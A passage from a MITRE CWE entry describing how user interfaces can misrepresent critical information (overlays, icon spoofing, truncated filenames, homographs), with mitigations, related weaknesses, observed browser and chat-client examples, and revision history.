  • Incorrect indicator: incorrect information is displayed, which prevents the user from understanding the true state of the product or the environment the product is monitoring, especially of potentially-dangerous conditions or operations. This can be broken down into several different subtypes.
  • Overlay: an area of the display is intended to give critical information, but another process can modify the display by overlaying another element on top of it. The user is not interacting with the expected portion of the user interface. This is the problem that enables clickjacking attacks, although many other types of attacks exist that involve overlay.
  • Icon manipulation: the wrong icon, or the wrong color indicator, can be influenced (such as making a dangerous .EXE executable look like a harmless .GIF)
  • Timing: the product is performing a state transition or context switch that is presented to the user with an indicator, but a race condition can cause the wrong indicator to be used before the product has fully switched context. The race window could be extended indefinitely if the attacker can trigger an error.
  • Visual truncation: important information could be truncated from the display, such as a long filename with a dangerous extension that is not displayed in the GUI because the malicious portion is truncated. The use of excessive whitespace can also cause truncation, or place the potentially-dangerous indicator outside of the user's field of view (e.g. "filename.txt .exe"). A different type of truncation can occur when a portion of the information is removed due to reasons other than length, such as the accidental insertion of an end-of-input marker in the middle of an input, such as a NUL byte in a C-style string.
  • Visual distinction: visual information might be presented in a way that makes it difficult for the user to quickly and correctly distinguish between critical and unimportant segments of the display.
  • Homographs: letters from different character sets, fonts, or languages can appear very similar (i.e. may be visually equivalent) in a way that causes the human user to misread the text (for example, to conduct phishing attacks to trick a user into visiting a malicious web site with a visually-similar name as a trusted site). This can be regarded as a type of visual distinction issue.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Hide Activities; Bypass Protection Mechanism

Scope: Non-Repudiation, Access Control

+ Potential Mitigations
Phase(s) Mitigation

Implementation

Strategy: Input Validation

Perform data validation (e.g. syntax, length, etc.) before interpreting the data.

Architecture and Design

Strategy: Output Encoding

Create a strategy for presenting information, and plan for how to display unusual characters.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 221 Information Loss or Omission
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 684 Incorrect Provision of Specified Functionality
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1007 Insufficient Visual Distinction of Homoglyphs Presented to User
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1021 Improper Restriction of Rendered UI Layers or Frames
PeerOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 346 Origin Validation Error
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
Web browser's filename selection dialog only shows the beginning portion of long filenames, which can trick users into launching executables with dangerous extensions.
Attachment with many spaces in filename bypasses "dangerous content" warning and uses different icon. Likely resultant.
Misrepresentation and equivalence issue.
Lock spoofing from several different weaknesses.
Incorrect indicator: web browser can be tricked into presenting the wrong URL
Incorrect indicator: Lock icon displayed when an insecure page loads a binary file loaded from a trusted site.
Incorrect indicator: Secure "lock" icon is presented for one channel, while an insecure page is being simultaneously loaded in another channel.
Incorrect indicator: Certain redirect sequences cause security lock icon to appear in web browser, even when page is not encrypted.
Incorrect indicator: Spoofing via multi-step attack that causes incorrect information to be displayed in browser address bar.
Overlay: Wide "favorites" icon can overlay and obscure address bar
Visual distinction: Web browsers do not clearly associate a Javascript dialog box with the web page that generated it, allowing spoof of the source of the dialog. "origin validation error" of a sort?
Visual distinction: Web browsers do not clearly associate a Javascript dialog box with the web page that generated it, allowing spoof of the source of the dialog. "origin validation error" of a sort?
Visual distinction: Web browsers do not clearly associate a Javascript dialog box with the web page that generated it, allowing spoof of the source of the dialog. "origin validation error" of a sort?
Visual distinction: Web browsers do not clearly associate a Javascript dialog box with the web page that generated it, allowing spoof of the source of the dialog. "origin validation error" of a sort?
Visual distinction: Browser allows attackers to create chromeless windows and spoof victim's display using unprotected Javascript method.
Visual distinction: Chat client allows remote attackers to spoof encrypted, trusted messages with lines that begin with a special sequence, which makes the message appear legitimate.
Visual distinction: Product allows spoofing names of other users by registering with a username containing hex-encoded characters.
Visual truncation: Special character in URL causes web browser to truncate the user portion of the "user@domain" URL, hiding real domain in the address bar.
Visual truncation: Chat client does not display long filenames in file dialog boxes, allowing dangerous extensions via manipulations including (1) many spaces and (2) multiple file extensions.
Visual truncation: Web browser file download type can be hidden using whitespace.
Visual truncation: Visual truncation in chat client using whitespace to hide dangerous file extension.
Visual truncation: Dialog box in web browser allows user to spoof the hostname via a long "user:pass" sequence in the URL, which appears before the real hostname.
Visual truncation: Null character in URL prevents entire URL from being displayed in web browser.
Miscellaneous -- [step-based attack, GUI] -- Password-protected tab can be bypassed by switching to another tab, then back to original tab.
Miscellaneous -- Dangerous file extensions not displayed.
Miscellaneous -- Web browser allows remote attackers to misrepresent the source of a file in the File Download dialog box.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 884 CWE Cross-section
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 995 SFP Secondary Cluster: Feature
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1348 OWASP Top Ten 2021 Category A04:2021 - Insecure Design
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1379 ICS Operations (& Maintenance): Human factors in ICS environments
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1412 Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes
Usage ALLOWED-WITH-REVIEW
(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)
Reason Abstraction

Rationale

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments

Examine children of this entry to see if there is a better fit
+ Notes

Research Gap

Misrepresentation problems are frequently studied in web browsers, but there are no known efforts for classifying these kinds of problems in terms of the shortcomings of the interface. In addition, many misrepresentation issues are resultant.

Maintenance

This entry should be broken down into more precise entries. See extended description.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
PLOVER UI Misrepresentation of Critical Information
+ References
[REF-434] David Wheeler. "Secure Programming for Linux and Unix HOWTO". 7.16. Foil Semantic Attacks. 2003-03-03.
<http://www.dwheeler.com/secure-programs/Secure-Programs-HOWTO/semantic-attacks.html>. (URL validated: 2023-04-07)
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		PLOVER
+ Modifications
Modification Date Modifier Organization
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Relationships
2023-01-31 CWE Content Team MITRE
updated Description, Related_Attack_Patterns
2022-04-28 CWE Content Team MITRE
updated Relationships
2021-10-28 CWE Content Team MITRE
updated Relationships
2021-03-15 CWE Content Team MITRE
updated Maintenance_Notes, Observed_Examples
2020-02-24 CWE Content Team MITRE
updated Relationships
2017-11-08 CWE Content Team MITRE
updated Observed_Examples, References, Relationships, Type
2017-01-19 CWE Content Team MITRE
updated Relationships
2014-07-30 CWE Content Team MITRE
updated Relationships
2014-02-18 CWE Content Team MITRE
updated Applicable_Platforms, Description, Maintenance_Notes, Name, Observed_Examples, Other_Notes, References, Relationships, Research_Gaps
2014-02-13 CWE Content Team MITRE
Defined several different subtypes of this issue.
2012-10-30 CWE Content Team MITRE
updated Potential_Mitigations
2012-05-11 CWE Content Team MITRE
updated Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2008-09-08 CWE Content Team MITRE
updated Maintenance_Notes, Relationships, Other_Notes, Taxonomy_Mappings
2008-07-01 Eric Dalci Cigital
updated Potential_Mitigations, Time_of_Introduction
+ Previous Entry Names
Change Date Previous Entry Name
2014-02-18 UI Misrepresentation of Critical Information
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